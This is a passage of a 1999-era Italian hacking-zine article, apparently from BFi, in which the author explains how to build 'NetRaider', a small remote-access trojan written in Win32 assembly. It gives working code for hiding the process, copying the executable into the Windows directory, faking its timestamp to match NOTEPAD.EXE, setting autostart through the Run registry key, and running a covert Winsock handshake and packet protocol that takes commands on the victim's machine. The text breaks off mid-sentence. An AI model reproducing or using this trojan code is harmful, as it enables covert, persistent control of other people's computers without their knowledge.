============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ previous ]---[ index ]---[ next ]--------------------- --------------------------[ NET RAiDER PR0JECT v0.0 ]------------------------- ---------------------------------[ \sPIRIT\ ]--------------------------------- NetRaider Project v0.0 ovvero Davide contro Golia & famiglia donna nana, tutta tana piccolo si', ma con un c...o cosi' e' poco, ma e' di quello buono... - Tempo impiegato : svariati giorni di full immersion globale Consumo : numerosi piatti di pasta al tonno e bastoncini Findus bottiglie da 66cl di birra Peroni (thx Berry :) litri di pepsi una stecca di Diana Blu circa sei moke di caffe' al giorno, miscela Discount Musica ascoltata : quattro sPIRITCD.MP3 a ripetizione (2.5gb di bella roba) Stati d'animo : dal paranoico suicida all'euforico cocainomane Dediche : a tutti i fratelli del s0ftpr0ject a Sabrina per il supporto fisico :) alla fine della mia carriera universitaria (coming soon) Si fanculizzi : chi vuole sempre la pappa pronta (niente per loro, qui) chi ha ideato le API di Windows 9x chi ha detto che fumare fa' male (COFF COFF...) - L'APPROCCIO - Per seguire bene e mettere in pratica quanto scritto nell'articolo che segue sono necessarie un po' di cosette. Prima di tutto una testa (questa era scontata) e una conoscenza base della sintassi dell'assembly e delle modalita' di programmazione dell'ambiente Windows. Se programmate gia' in assembly a 32bit sotto il buon vecchio DOS vi basta un tutorial qualunque che spieghi i concetti base della programmazione win32 e una referenza delle API. Se programmate gia' in C/C++ o Delphi vi basta studiare un po' l'assembly, se siete crackers non vi serve nulla, direi che siete gia' pronti :) Anche dal fronte tools le richieste non sono insormontabili. E' necessario il MASM 6.1x. con relative librerie e include, un resource compiler, una referenza delle API e possibilmente un po' di documentazione. Tutto il necessario lo trovate in confezione regalo alle pagine http://win32asm.cjb.net e http://iczelion.cjb.net (e relativi links). - I PRELIMINARI (che sono sempre importanti) - La prima cosa che vi conviene sapere, nel caso abbiate distrattamente eseguito il server mentre giocavate col programmino, e' che l'eseguibile si installa nella vostra directory base di Windows, sotto il nome di RSRCNRS.EXE e con la stessa data di creazione di NOTEPAD.EXE (controllate pure, controllate). Per rimuovere anche la sporcizia dal registry, la chiave e' HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run sotto il nome di "Rsrcnrs". Inutile chiamare il task manager con CTRL-ALT-CANC per segare il processo, che tanto non lo vedete... vi conviene rimuovere il server dalla memoria utilizzando il client e cancellare a mano l'eseguibile (infatti la funzione Remove Server termina il processo e cancella la chiave nel registry, non puo' eliminare fisicamente l'eseguibile per motivi di file sharing che sto' cercando di risolvere). La seconda cosa, e qui sono martellate ai piu' svogliati, e' che questo articolo non e' ne' un corso di assembly, ne' tantomeno un corso di assembly in ambiente WIN32, o sapete la sintassi, o non e' un mio problema. Inoltre, per aumentare l'astio nei miei confronti, per ricompilare il tutto avete bisogno di un tot di tools (per carita', niente di fantascientifico) che vi ho indicato poco sopra e che io non vi ho messo nel pacchetto. Attaccate il vostro browserino e procurateveli, se gia' non li avete, che servono sempre. Se volete sperimentare il NetRaider cosi' com'e', gli eseguibili li ho inclusi per questo. Una precisazione necessaria: l'assembly lo uso da quasi otto anni, la mia prima finestrella a base di MOV risale a meno di due mesi fa, tutte le conoscenze che sono state utilizzate per questo articolo sono frutto di tentativi alla cieca, di ore a diassemblare trojan gia' esistenti e di una intensiva spulciatura selettiva del Microsoft Journal e delle DLL di Windows. Se avete culo trovatevi il libro Windows Undocumented di quel pazzo psicotico di Matt Pietrek: e' del '96, e vista l'alta percentuale di introvabilita' e' un po' come un sei al Superenalotto giocando un paio di millini (in alternativa c'e' in giro la versione PDF, ma sono 60mb...). - L'INTRODUZIONE (dopo i preliminari) - La moda degli ultimi sei mesi. Piu' seguita delle bocce di Laetitia Casta, piu' richiesta di una camicia di Dolce & Gabbana. I paparazzi si appostano per fotografare le soubrette, gli informatici passano ore in intense fasi di scanning di intere classi di IP. Microsoft, con la solita faccia di bronzo, mostra di non preoccuparsi ostentando nonchalance. Una notte di sesso con la suddetta Laetitia, e anche Bill Gates si chiederebbe chi cazzo glielo ha fatto fare di passare la vita a distribuire log di /dev/random spacciandoli per applicativi e sistemi operativi, con buona pace dei linux-maniaci. Accendete il vostro fido Windows, e controllate. Con molte probabilita' ne avete uno anche voi, un trojan nascosto in qualche angolino buio, pronto a spettegolare al primo che passa i segreti del vostro pc. E se non l'avete voi, sicuramente ce l'ha qualcuno che conoscete, il vostro compagno di banco, il vicino, il professore, il capoufficio, il parroco, il pusher di fiducia, la vostra ragazza (ma in questo caso si chiama "essere ninfomani"...). Con questa diffusione su scala planetaria, sembra di essere tornati a qualche anno fa', quando si diceva che DOOM fosse installato su un pc ogni due. Senza esagerare, pero'. Ecco l'utente normale che si sente hacker. Manie di onnipotenza e cose simili, <Quello ha il Back Orifice, ora lo sfotto e gli formatto l'hard disk!>, di quelli che conosco chi ha cercato di capire come funzionano 'ste cose sono gli stessi che hanno riempito di bytes questo numero di BFi, e pochi altri, il resto e' una massa di utenti fruitori di servizio senza la minima cognizione di cosa in realta' accada. Tanto varrebbe abbattere le statue di Garibaldi e sostituirle con altarini alla cDc, se non altro perche' sono stati i primi. Oddio, non fraintendete, rispetto massimo per quei pazzi, ma personalmente non darei mai un Kalashnikov carico in mano ad un tipo che si gusta per la miliardesima volta Full Metal Jacket, e sempre con la stessa bava alla bocca ed espressione sognante... Oh... sono scaduto ancora nella polemica... let's go ahead. - SIZE *DOES* MATTER - Ora, prima di proseguire, leggete questo piccolo taglia e incolla di una mia directory. Dentro ci sono gli eseguibili di quattro esemplari d trojan: Volume in drive D is SOFTPJ99 Volume Serial Number is 4154-14E8 Directory of D:\Spirit\work in progress\NetRaider Project\other servers . <DIR> 02-11-99 5:39p . .. <DIR> 02-11-99 5:39p .. BOSERVE EXE 124,928 08-03-98 10:02p BOSERVE.EXE PATCH EXE 472,576 08-23-98 1:06a Patch.exe AGENT EXE 293,376 06-11-98 1:54a Agent.exe WINDLL EXE 344,064 11-20-98 10:20p windll.exe 4 file(s) 1,234,944 bytes 2 dir(s) 243,924,992 bytes free Nel caso non li riconosciate, ecco una veloce guida alle specie presentate di "trojanibus stronzus": BOSERVE.EXE - Back Orifice, versione 1.20 PATCH.EXE - NetBus 1.60 AGENT.EXE - Master's Paradise v0.98 WINDLL.EXE - Girlfriend v1.35 La maggiore diffusione si e' avuta per mezzo di IRC, con amici che passavano ad "amici", con sedicenti santoni che distribuivano toccasana contro flood, nukes, impotenza e mancanza di figa. Altrimenti di mano in mano, un dischetto alla volta... fate due conti sul numero di lamerazzi che popolano Internet, e avrete in mano senza bisogno di calcolatrice la velocita' di "trasmissione" e la quantita' di "contagiati". Pero' guardate le dimensioni di quei files... <espressione di sdegno> Sono GROSSI. Sebbene il trend ci abbia abituato a viaggiare con programmi nell'ordine di grandezza dei megabytes, quelle cifre restano (per me, voi non so') un'offesa per gli occhi. Il motivo di quella mole e' presto spiegato: sono stati programmati tutti in linguaggi ad alto livello, per il Back Orifice e' il C++, per NetBus e Girlfriend e' il Delphi, e non mi sono preso la briga di controllare il Master's Paradise. La domanda che ci assegna il montepremi e' la seguente: UNA VOLTA CAPITO IL FUNZIONAMENTO, E' POSSIBILE RIDURRE LE DIMENSIONI? Vi anticipo la risposta, ma non limitatevi ad essa, che le condizioni e spiegazioni seguiranno: Volume in drive D is SOFTPJ99 Volume Serial Number is 4154-14E8 Directory of D:\Spirit\work in progress\NetRaider Project . <DIR> 02-05-99 9:08p . .. <DIR> 02-05-99 9:08p .. NETSERV EXE 5,021 02-28-99 2:22p netserv.exe 1 file(s) 5,037 bytes 2 dir(s) 243,924,992 bytes free Guardate bene quel numerino... si', non sono allucinazioni da LSD, ma proprio 5021 bytes (almeno al momento in cui scrivo questo articolo). Sveliamo il trucco(1): l'eseguibile e' compresso con UPX 0.51 Vedo dalle vostre espressioni maligne che siete pronti a mettermelo in culo. Ora col suddetto UPX scomprimetelo, o in alternativa ricompilate i sorgenti che vengono con questo articolo. Risultato: meno di 11k... ...e andate a comprarvi la vaselina per la prossima volta <evil grin> Sveliamo il trucco(2): e' tutto scritto in puro assembly win32, e non e' nemmeno ottimizzato per spazio, si potrebbe segare da questa versione un k e mezzo comodo comodo. Alcune prove mi portano a 9k il compilato e a 4.7k il compresso. I piu' bastardi potrebbero farmi (giustamente) notare che ora come ora il tutto non fa' niente di utile, e spiegare cosi' le ridottissime dimensioni. Mazzate sui denti anche a loro: il server e' perfettamente funzionante, si installa, si nasconde, e le routines di gestione pacchetti masticano con tranquillita' dai messaggi nelle Message Box ai files di svariati mega, tutto in maniera trasparente. Pensate di aggiungere tutte le funzioni di un Back Orifice standard, e per ognuna aggiungete idealmente poco piu' di un kbyte all'eseguibile NON COMPRESSO... poi stimate una compressione media di circa il 40% per il puro codice (ed e' tutto codice...). Per quanto perversa possa essere la vostra immaginazione, saranno numeri al di sotto del 90, giocateveli al lotto e chissa' che non vinciate qualcosa. (I piu' bastardi dovrebbero solo stare zitti e provare a creare per es. col Delphi un programma VUOTO con solo la finestra Main e vedere quanto occupa gia' cosi'... piu' di 100k, l'alternativa e' solo lavorare in modalita' Console (senza GUI) perdendo pero' la possibilita' di utilizzare 3/4 delle classi gia' presenti nel linguaggio (e si ha cque una 50ina di kappa di exe) NDCavallo) Parziale alla fine del primo tempo: NetRaider VS Resto Del Mondo 1-0 - SU E GIU' (per il codice) - Andiamo per gradi, che forse e' meglio. L'approccio da seguire per la creazione di un trojan che ritengo migliore e' questo: 1) Creazione di un programma che si nasconda nel sistema e venga lanciato ad ogni avvio del sistema (la base di quello che sara' il server) 2) Creazione di un programma con un minimo di interfaccia (la base del client) 3) Interfacciamento dei due programmi con le Winsock, uno in grado di accettare connessioni (FD_ACCEPT) e uno che possa connettersi (FD_CONNECT) 4) Implementazione di uno straccio di Handshake fra i due programmi 5) Implementazione di una routine in grado di gestire l'invio di pacchetti e di un'altra in grado di ricevere i suddetti (e di conseguenza ideazione di un modello standard di pacchetto utilizzabile per lo scambio di dati) 6) Implementazione di tutti i giochetti simpatici sia a livello di richiesta (client) che a livello di esecuzione remota (server) Quando tutti e sei i livelli sono stati sviluppati, avete in mano un trojan pronto da usare (e da ottimizzare, ma questo e' un discorso che non intendo trattare). Cominciamo a descrivere il NetRaider a partire (ovviamente) dal punto uno. 1) LA BASE DI QUELLO CHE SARA' IL SERVER Supponiamo per semplicita' (ricordate: non e' il mio scopo trattare la programmazione basilare di Windows) di avere un programma che tramite la funzione CreateWindowEx apre una bella finestrella vuota sullo schermo, associata tramite la RegisterClassEx ad un nome arbitrario, nel nostro caso "Nrs" (Netraider server). La prima cosa da fare e' renderla invisibile all'utente, cosa ottenibile chiamando la seguente funzione: BOOL ShowWindow( HWND hwnd, // handle of window int nCmdShow // show state of window ); dove hwnd e' l'handle della finestra creata, ottenuto dalla chiamata a CreateWindowEx, e nCmdShow e' un intero ottenuto facendo l'OR fra una serie di parametri di visualizzazione. A noi interessa rendere la finestra invisibile, quindi il parametro nCmdShow conterra' il valore SW_HIDE. Una bella chiamata tipo: INVOKE ShowWindow, hwnd, SW_HIDE e la nostra finestrella sparira' per sempre. Ora torniamo indietro, piu' precisamente all'inizio del programma, e siccome noi non vogliamo che l'utente lanci piu' processi del server per sbaglio (ad esempio, nel momento in cui manda in esecuzione il server per la prima volta vede che apparentemente non succede nulla, e per sicurezza ci clicca sopra un altro po' di volte), e' consigliabile controllare che in esecuzione non esista gia' una copia del programma. Per fare questa semplice operazione si utilizza la funzione FindWindowEx, definita come segue: HWND FindWindowEx( HWND hwndParent, // handle of parent window HWND hwndChildAfter, // handle of a child window LPCTSTR lpszClass, // address of class name LPCTSTR lpszWindow // address of window name ); Il parametro lpszClass deve puntare ad una stringa ASCIIZ contenente il nome della classe a cui e' associato il nostro programma, in questo caso "Nrs". Una chiamata a: INVOKE FindWindowEx, NULL, NULL, ADDR stringa.col.nome.della.classe, NULL restituira' in EAX un bel NULL se non sono state trovate altre finestre, visibili o no, con quel nome di classe. Di conseguenza se sara' restituito un valore diverso da NULL una copia del programma sara' gia' in esecuzione, e noi usciremo con una bella chiamata a ExitProcess. A questo punto all'utente meno smaliziato il programma server potrebbe sembrare invisibile, ma richiamare la lista dei processi con CTRL-ALT-CANC svelera' irrimediabilmente un processo in esecuzione di troppo (con lo stesso nome dell'eseguibile che lo ha creato, se chiamate il server "Pippo.exe" nella lista dei task ci sara' bello pacifico un "Pippo"). L'unica soluzione e' far ricorso ad una funzione non documentata di Windows, chiamata RegisterServiceProcess. Purtroppo il procedimento per richiamarla e' piu' laborioso del solito, ma ne vale la pena. Questo e' il codice utilizzato nel NetRaider server: getDLLHandle db "kernel32",0 reqAPIProcedure db "RegisterServiceProcess",0 INVOKE GetModuleHandle, ADDR getDLLHandle INVOKE GetProcAddress, eax, ADDR reqAPIProcedure push 00000001 push NULL call eax add esp,8 Tutto questo lavoro e' necessario perche' non e' possibile chiamare la RegisterServiceProcess direttamente, ma bisogna ottenere dalla DLL che la contiene (KERNEL32.DLL) l'indirizzo in cui e' stata mappata. Il tutto avviene in maniera (quasi) indolore ottenendo con GetModuleHandle l'handle della DLL KERNEL32, e in seguito richiedendo con GetProcAddress l'indirizzo della funzione richiesta. I due push che compaiono prima della chiamata non sono altro che i parametri richiesti dalla RegisterServiceProcess, e in particolare il primo e' il tipo di servizio richiesto, scelto fra: RSP_SIMPLE_SERVICE EQU 00000001h //register as service process RSP_UNREGISTER_SERVICE EQU 00000000h //unregister the service process mentre il secondo sarebbe l'ID del processo da registrare, nel nostro caso NULL significa il processo corrente. L'importante dopo la chiamata all'offset della RegisterServiceProcess e' di aggiustare il puntatore allo stack, dal momento che non si utilizza la macro INVOKE del masm. Una veloce verifica alla lista dei task col solito CTRL-ALT-CANC, e il nostro programma sara' magicamente sparito... la vita comincia a sorriderci. In verita' la funzione RegisterServiceProcess, che esiste solo sotto Windows 9x, serve a simulare un processo NT non collegato ad un utente, ma globale. In ogni caso per i nostri scopi e' perfetta. E' da notare comunque che con programmi particolari come il Process Viewer e il Tek Factory il nostro processo sara' comunque visibile, ma vi sfido a trovare un utente comune che li utilizzi... Questa informazione preziosissima e' stata trovata su Computer Programming n.74, in un articolo di Fabio Falsini dal titolo "Lo sapevate che c'e' una funzione per...". Cavallo dice che lo sapeva gia'... 'fanculo :) Ora che il processo risultera' completamente invisibile, e' necessario scrivere il codice che installi il trojan nel sistema alla prima esecuzione, e che lo stesso venga eseguito ad ogni boot della macchina. La prima cosa da fare e' copiare l'eseguibile del server in una directory a nostro piacimento. Ho scelto la directory base di windows per evidenti motivi, dato che e' gia' piena di eseguibili sara' difficile che qualcuno scovi un eseguibile di troppo. La copia avviene in tre fasi: prima si ricava con la funzione GetWindowsDirectory il path alla directory principale di windows, quindi con la GetCommandLine il path completo dell'eseguibile lanciato dall'utente (il nostro trojan), e con un po' di taglia e incolla su buffer otteniamo il path + filename dove verra' copiato l'eseguibile. Il codice e' il seguente: INVOKE GetWindowsDirectory, ADDR WinBASEDIR, MAX_PATH INVOKE StrLen, ADDR WinBASEDIR mov edi, OFFSET regKeyValue mov esi, OFFSET WinBASEDIR mov ecx, eax rep movsb mov al,'\' stosb mov esi, OFFSET ExecutableName mov ecx, ExecutableLength rep movsb INVOKE GetCommandLine mov CommandLine, eax INVOKE StrLen, CommandLine mov edi, OFFSET InstallExePATH mov esi, CommandLine inc esi mov ecx, eax sub ecx,3 rep movsb INVOKE CopyFile, ADDR InstallExePATH, ADDR regKeyValue, FALSE A questo punto il nostro trojan e' al posto giusto, e una bella cosa sarebbe cambiare la data del file in qualcosa di poco vistoso, dato che un eseguibile del '99 in mezzo a tanti eseguibili con date precedenti potrebbe destare piu' di un sospetto. In questo caso ho deciso di prendere la data di NOTEPAD.EXE (uno dei programmi che piu' o meno siamo sicuri sia installato nel sistema) e usarla per cambiare la data del NOSTRO eseguibile. Ecco il codice: INVOKE GetWindowsDirectory, ADDR WinBASEDIR, MAX_PATH INVOKE StrLen, ADDR WinBASEDIR mov edi, OFFSET stealthFilePath mov esi, OFFSET WinBASEDIR mov ecx, eax rep movsb mov al,'\' stosb mov esi, OFFSET stealthFileName mov ecx, stealthFileLen rep movsb INVOKE CreateFile, ADDR stealthFilePath, GENERIC_READ, FILE_SHARE_READ, \ 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL .IF eax!=INVALID_HANDLE_VALUE mov hFile4date, eax INVOKE GetFileTime, hFile4date, ADDR stealthFileInfo, NULL, NULL INVOKE CloseHandle, hFile4date INVOKE CreateFile, ADDR regKeyValue, GENERIC_WRITE, \ FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, \ NULL mov hServer, eax INVOKE SetFileTime, hServer, ADDR stealthFileInfo, \ ADDR stealthFileInfo, ADDR stealthFileInfo INVOKE CloseHandle, hServer .ENDIF La funzione CreateFile e' usata in questo caso per aprire NOTEPAD.EXE in lettura, e la GetFileTime per riempire una struttura predefinita con la data del file aperto. Quindi viene aperto il file del trojan in scrittura (GENERIC_WRITE) e viene copiata la data. Le flag FILE_SHARE_READ e FILE_SHARE_WRITE sono necessarie per attivare la lettura/scrittura in caso di file gia' aperto (ad esempio se l'utente avesse un NOTEPAD.EXE lanciato, senza la FILE_SHARE_READ non sarebbe possibile ricavare la data). Ora l'eseguibile trojan ha anche una data di creazione soddisfacente, e bisogna preoccuparsi che esso venga eseguito ad ogni boot del sistema. L'esecuzione automatica all'avvio non costituisce un problema. Le alternative a disposizione sono tre: avvio da Esecuzione Automatica, avvio da SYSTEM.INI, avvio da Registry. La prima alternativa e' da scartare completamente, l'esecuzione sarebbe troppo evidente. Una sezione [load] inserita nel SYSTEM.INI e' gia' meglio, ma e' troppo complesso, per i nostri scopi, aprire il file e inserire i comandi. Resta l'esecuzione da registry, effettivamente l'ideale. La nostra chiave di esecuzione andra' inserita nella sezione HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run e conterra' il path del nostro eseguibile. INVOKE RegSetValueEx, hNETSERVERkey, ADDR regKeyName, 0, REG_SZ, \ ADDR regKeyValue, eax Questa funzione provvedera' a inserire nel registry (e a creare, se gia' non esiste) la nostra chiave. Il valore a cui viene settata e' lo stesso usato come path di destinazione della nostra copia del trojan. Gli ultimi passi all'installazione sono banali. Una ShellExecute provvedera' a lanciare l'eseguibile copiato, mentre una ExitProcess chiudera' il processo corrente (lanciato dall'utente), per evitare interferenze. L'ultima nota riguarda il fatto che l'utente potrebbe, non notando alcuna attivita' al suo doppio click, rilanciare l'esegubile, e non sarebbe carino che ogni volta venisse ripetuta tutta la procedura (anche perche', nel caso di server in esecuzione, ci sarebbero svariati problemi di file sharing al momento della copia del file...). Tornando all'inizio del sorgente, una verifica della presenza della chiave nel registry dovrebbe bastare. Se la chiave verra' trovata, il processo rilanciato verra' terminato immediatamente. INVOKE RegOpenKeyEx, HKEY_LOCAL_MACHINE, ADDR regKeyPosition, 0, \ 00020029h, ADDR hNETSERVERkey Un valore di ritorno in EAX diverso da ERROR_SUCCESS significhera' che la nostra chiave e' gia presente, e sara' bene terminare il processo corrente. 2) LA BASE DEL PROGRAMMA CLIENT Qui e' tutto facile, in quanto si tratta di normale programmazione della GUI di Windows. Il primo passo e' creare e compilare un file di risorse che definisca l'aspetto della nostra finestra (guardatevi il file resource\netclnt.rc nell'archivio di distribuzione), e quindi un programma che mostri tale finestra (ho scelto che venga creata una dialogbox tramite la DialogBoxParam, per l'incredibile flessibilita') e gestisca le operazioni dell'utente tramite la GetMessage, la TranslateMessage e la DispatchMessage. Non voglio dilungarmi oltre proprio perche' e' normale programmazione base. 3) COMUNICAZIONE FRA I DUE PROGRAMMI TRAMITE WINSOCK A questo punto abbiamo due bei programmi, un server nascosto nel pc dell'utente vittima, e un client con tanti bei bottoni dalla nostra parte. Cosi' come sono non servono a nulla, se non possono comunicare tra loro. E' il momento di stabilire una connessione TCP/IP, e per far questo utilizzeremo le funzioni delle Winsock. La modalita' di comunicazione scelta e' Asynchronous non-blocking, e quindi i nostri pacchetti viaggeranno via TCP (non UDP come il Back Orifice), e potranno partire e arrivare in qualunque ordine. Sara' compito dei programmi (vedremo dopo come) scomporre e ricomporre i dati nella giusta sequenza. Per prima cosa i nostri programmi dovranno inizializzare le Winsock, tramite le funzioni WSAStartup, socket e htons. Il codice comune lo trovate nella procedura OpenSocket presente nel file include/socketop.inc Vi consiglio caldamente la lettura del tutorial di Iczelion sulla programmazione dell winsock, che trovate a uno dei due url che ho scritto all'inizio dell'articolo. Inizializzate le Winsock e' necessario impostare i parametri base di comunicazione tramite la WSAAsyncSelect. Per il server e' necessario aprire il socket in modalita' notifica di ACCETTAZIONE (FD_ACCEPT), lettura e chiusura (FD_READ e FD_CLOSE), mentre il client dovra' essere notificato di avvenuta CONNESSIONE (FD_CONNECT) e di lettura e chiusura. Le strade di server e client si dividono a questo punto. Per il primo sara' necessario aprire una porta su cui ascoltare una richiesta di connessione, tramite il seguente codice: INVOKE bind, socketDESCRIPTOR, ADDR sin, 16 INVOKE listen, socketDESCRIPTOR, 2 Il secondo invece dovra' reagire solo nel momento in cui l'utente richiedera' una connessione. Presupponendo che l'indirizzo IP o host a cui ci si deve connettere e' stato ricavato da un testo digitato in una editbox tramite la GetDlgItemTextA e messo in una variabile remoteHOST, la prima cosa da fare e' convertire l'indirizzo in un formato comprensibile alle winsock, e cioe' invertendo l'ordine dei campi dell'indirizzo IP (secondo le specifiche BSD). Cio' si ottiene chiamando la funzione inet_addr. Il problema sorge nel caso che l'utente abbia inserito non un IP numerico, ma un hostname: la funzione inet_addr ritornera' il valore INADDR_NONE, e sara' necessario risolvere l'hostname, con una chiamata alla funzione gethostbyname. Ecco il codice preso dal client: INVOKE inet_addr, ADDR remoteHOST .IF eax==INADDR_NONE INVOKE SetWindowText, bhConn, ADDR bResolving INVOKE gethostbyname, ADDR remoteHOST .IF eax==NULL INVOKE ShutdownSocket, socketDESCRIPTOR ret .ENDIF questa parte si occupera' di risolvere l'hostname, e di chiudere il tentativo di connessione (resettando il socket) in caso di fallimento. mov eax, [eax+12] mov eax, [eax] mov eax, [eax] mov sin.sin_addr, eax .ENDIF Queste righe invece sono necessarie a riempire il campo sin_addr con l'indirizzo di rete richiesto. I vari passaggi sono necessari in quanto la funzione gethostbyname ritorna un puntatore ad una struttura come questa: struct hostent { char FAR * h_name; char FAR * FAR * h_aliases; short h_addrtype; short h_length; char FAR * FAR * h_addr_list; }; e il valore che ci interessa e' contenuto (o puntato) da h_addr_list. Per quanto riguarda il client, a questo punto la connessione puo' venire effettuata tramite la funzione connect. Il server ricevera' un messaggio di tipo FD_ACCEPT, e dovra' accettare la connessione chiamando la funzione accept. 4) IMPLEMENTAZIONE DELL'HANDSHAKE Ora i programmi sono connessi e pronti a scambiarsi dati fra loro. Il problema e' che QUALUNQUE connessione effettuata all'ip del server sulla porta giusta verra' accettata, e noi non vogliamo che questo succeda. Server e client devono essere gli unici a comunicare fra loro. Passo numero uno, impostiamo delle stringhe che indichino in maniera univoca server e client: clientID db "NSClient-sPISPJ99" serverID db "NSServer-sPISPJ99" Queste stringhe serviranno ai due programmi per identificarsi al momento della connessione. Il primo a farsi riconoscere sara' il client che, ricevuta la conferma dell'avvenuta connessione (sotto forma di un messaggio di tipo FD_CONNECT), provvedera' a porsi in modalita' handshake (ho utilizzato una variabile booleana chiamata isHANDSHAKE per questo scopo) e a trasmettere la propria stringa di identificazione tramite la winsock send. Il server ricevera' un messaggio di tipo FD_READ, leggera' i dati con chiamate alla ioctlsocket e alla recv, ed eseguira' un confronto sull'ID ricevuto. Nel caso fallisse il confronto la connessione verra' chiusa, il socket resettato, e il client remoto verra' forzato a chiudere la comunicazione con l'invio di un messaggio FD_CLOSE. Nel caso invece che la stringa di identificazione venga riconosciuta, spettera' al server inviare la propria e al client riconoscerla, con le stesse modalita' appena descritte. Il codice e' praticamente uguale per entrambi i programmi, tranne le sezioni riguardanti la chiusura della connessione, che ometto: INVOKE ioctlsocket, remoteDESCRIPTOR, FIONREAD, ADDR availableData .IF eax==NULL INVOKE recv, remoteDESCRIPTOR, offsetBuffer, availableData, 0 INVOKE StrCmp, ADDR clientID, offsetBuffer, cIDLEN .IF eax==TRUE mov isReliable, TRUE ;la connessione e' riconosciuta mov isHandshake, FALSE INVOKE send, remoteDESCRIPTOR, ADDR serverID, sIDLEN, 0 .IF eax==0 || eax==SOCKET_ERROR mov eax, FALSE .ELSE mov eax, TRUE .ENDIF .IF eax==FALSE ;chiusura socket .IF eax==0 mov fConn, FALSE .ELSE ;apertura socket .ENDIF .ENDIF .ELSE ;chiusura socket .IF eax==0 mov fConn, FALSE .ELSE ;apertura socket .ENDIF mov isHandshake, FALSE mov receiveLOCK, FALSE .ENDIF .ENDIF 5) SCAMBIO DI DATI La creazione raw dei pacchetti tcp non e' un nostro problema, dato che saranno le winsock ad occuparsi di tutto. Il fatto e' che, se si pensa al tipo di programma che stiamo realizzando, e' necessario inventarsi qualcosa. Infatti sara' necessario tenere conto che i trasferimenti potranno andare dal semplice messaggio in una messagebox, e quindi pochi bytes, a files di qualunque dimensione, e bisognera' pure segnalare all'interno dei pacchetti il tipo di funzione richiesta. La possibilita' di trasmettere in una volta sola tutti i dati richiesti ci sarebbe, ma diventerebbe ESTREMAMENTE pesante per l'utente vittima: immaginatevi di chiedere il download di un file grande sul mezzo mega... il server riceve la richiesta, bufferizza in memoria il file e lo trasmette in un blocco unico. Per questioni di priorita' di thread la connessione della vittima sembrera' piantarsi fino a trasferimento finito, e con la velocita' della rete al giorno d'oggi potrebbe trattarsi di un tempo lungo. Da qui la necessita' di spezzettare i dati, con tutte le conseguenze del caso. Per fare cio' ho scelto di costruirmi un formato proprietario dei pacchetti, definito come segue: NRPacket STRUCT nrHeader db "NRP-" nrFCode dd ? nrPacketSeqNR dd ? nrPacketInSeq dd ? nrLenData dd ? ; nrDataCRC32 dd ? ; CRC32 IS NOT IMPLEMENTED AT THIS POINT nrPointData dd ? nrTail dd ? NRPacket ENDS packet NRPacket <> ; basic NetRaider packet definition La funzione SendCommand (contenuta in include\sendrecv.inc) e' comune al server e al client, e viene definita nel seguente modo: SendCommand PROTO :DWORD,:DWORD,:DWORD I parametri che vengono passati dal chiamante sono: - una doubleword che contiene il codice della funzione da eseguire (in questa versione abbiamo ad esempio 00000000h per la rimozione del server, 00000001h per la messagebox e 00000002h per il DDE Execute) - un puntatore ai dati da inviare. Il chiamante dovra' occuparsi di preparare i dati in un buffer. - l'handle del socket allocato dall'inizializzazione delle winsock, attraverso il quale vengono inviati i dati. E' da notare che nel caso del client l'handle e' unico e viene restituito dalla funzione socket, mentre nel caso del server l'handle e' restituito al momento della richiesta di connessione dalla funzione listen, ed e' DIVERSO dall'handle di inizializzazione. La funzione SendCommand si preoccupera' di spezzettare i dati in pacchetti di dimensione massima 1024bytes e di riempire tutti i campi, in un ciclo .WHILE .ENDW. Analizzando la struttura del pacchetto (da conoscere se qualcuno avesse voglia di fare un client per sistemi *nix), possiamo dire che: - nrHeader e' fisso, e contiene la dicitura "NRP-", che indica inequivocabilmente un pacchetto NetRaider valido. - nrFCode contiene il codice della funzione richiesta. - nrPacketSeqNR e' il numero del pacchetto all'interno della sequenza, da 0 a n-1. - nrPacketInSeq e' il numero n di pacchetti totali che verranno inviati. - nrLenData e' una doubleword che indica la lunghezza in bytes dei dati presenti nel pacchetto, con un minimo di NULL se non ci sono dati ad un massimo di 1024. - nrDataCRC32 conterrebbe il CRC32 dei dati, ma non e' ancora implementata. - nrPointData e' una doubleword che punta ai dati da inserire nel pacchetto. - nrTail e' una stringa di 4 bytes, che puo' contenere "-SEQ" se il pacchetto e' seguito da altri, o "-ENP" se si tratta dell'ultimo pacchetto. Al momento non e' utilizzata. Non ditemi che ho fatto un gran casino perche' gia' lo so, dovrei rivedere il tutto e ora non ho voglia. In ogni caso, dopo che la funzione SendCommand, all'interno del ciclo, ha provveduto a riempire un pacchetto (definito come packet NRPacket <>, se conoscete le struct), se lo rilegge e riempie un buffer di invio di dimensione 1048 bytes (1024 per i dati e 24 per i controlli) e con la funzione send delle winsock manda quello. Per la precisione inserisce nel buffer, prendendo i dati dal packet riempito prima, l'header, il numero della funzione richiesta, il numero del pacchetto all'interno della sequenza, i pacchetti totali, la lunghezza del dato e il dato vero e proprio, leggendolo da packet.nrPointData. Quindi chiude con la tail. E invia, in modo ORDINATO, cioe' pacchetto 0, pacchetto 1, pacchetto 2, eccetera eccetera. La ricezione e' un altro paio di maniche, perche' avviene in modo asincrono, e i pacchetti possono arrivare in qualunque ordine, di solito sparso, con buona pace del nostro mal di testa. Quando le winsock rilevano dati disponibili in lettura nel socket allocato, inviano un messaggio di tipo FD_READ, e viene chiamata la funzione ProcessIncoming. Questa funzione si occupa di leggere i dati dal socket e di interpretarli, e scarta QUALUNQUE pacchetto che non inizi con la sequenza "NRP-" per evidenti motivi. Con un esempio e' piu' semplice capire: 1 server o client ricevono un primo pacchetto, verificano l'header (che corrisponde a "NRP-" e accettano il pacchetto. 2 si salvano il codice della funzione richiesta e impostano a TRUE la variabile receiveLOCK. Questo significa che finche' non verranno ricevuti tutti i pacchetti del dato NON SARA' POSSIBILE ESEGUIRE UN'ALTRA RICHIESTA. Scordatevi di richiedere piu' funzioni contemporaneamente. 3 viene allocato un buffer di dimensioni sufficienti a contenere tutti i dati che arriveranno in seguito (con la semplice formula pacchetti totali * 1024). 4 Il buffer viene riempito coi dati del pacchetto ricevuto. A questo punto la funzione ProcessIncoming termina e l'esecuzione del programma continua. Qualunque pacchetto venga ricevuto in seguito viene controllato per l'header, e ANCHE PER IL CODICE DELLA FUNZIONE salvato in 